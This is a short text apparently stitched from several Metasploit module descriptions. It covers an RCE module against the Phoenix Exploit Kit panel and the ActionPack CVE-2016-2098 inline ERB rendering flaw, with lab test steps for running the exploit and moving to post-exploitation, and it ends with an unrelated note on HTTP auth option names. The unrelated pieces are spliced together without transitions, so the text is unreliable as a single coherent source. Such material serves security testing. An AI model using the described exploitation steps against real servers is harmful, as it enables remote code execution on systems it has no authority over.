This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit Remote Code Execution via the geoip.php. The Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which then silently installs malware.

ActionPack versions prior to 3.2.22.2, 4.1.14.2, and 4.2.5.2
implement unsafe dynamic rendering of inline content such that
passing ERB wrapped Ruby code leads to remote execution.
This module only implements the Ruby payloads, but can easily
be extended to use system calls to execute native/alternate
payload types as well.
Test Procedures:
Clone https://github.com/hderms/dh-CVE_2016_2098
Run bundle install to match gem versions to those in lockfile
Run the rails server and configure the metasploit module:
Set TARGETURI to /exploits
Configure payload and handler options
Execute the module, move on to post-exp
When a module uses the HttpClient mixin but registers the USERNAME
and PASSWORD datastore options in order to perform a form auth,
it ruins the ability to also perform a basic auth (sometimes it's
possible to see both). To avoid option naming conflicts, basic auth
options are now HTTPUSERNAME and HTTPPASSWORD.
